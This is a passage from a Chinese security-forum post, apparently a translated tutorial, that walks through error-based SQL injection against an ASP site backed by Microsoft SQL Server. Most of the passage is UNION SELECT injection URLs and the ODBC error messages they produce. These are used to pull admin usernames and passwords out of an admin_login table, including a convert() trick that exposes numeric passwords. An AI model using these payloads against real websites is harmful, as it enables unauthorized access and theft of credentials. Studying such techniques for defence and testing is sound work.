|
作者: www [wish259] 论坛用户 | 登录 |
6.2如何找到我们需要的数据? 现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。 现在让我们问问"admin_login"表的第一个用户名是什么吧: http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-- 输出: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ' neo' to a column of data type int. /index.asp, line 5 知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧: http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=' neo'-- 输出: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ' m4trix' to a column of data type int. /index.asp, line 5 现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。 6.3如何获得数字串值? 在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"的密码,而它所对应的密码为"31173": http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=' trinity'-- 这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于,在与整数(这个例子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UNION字句调用就是‘合法’的了,SQL服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些数字型数据的。 为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试 用下面的这条请求来代替原来的请求吧: http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'-- 在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中'+'等于0x2b)。我们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到了数字串'31173',它也会变成'31173 morpheus'。 在执行了convert()函数后,系统会尝试将'31173 morpheus'转换为整数型,SQL服务器一定会返回这样的ODBC错误信息: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ' 31173 morpheus' to a column of data type int. /index.asp, line 5 现在你可以知道'trinity'的密码是'31173'了吧。 |
地主 发表时间: 04-06-19 20:48 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号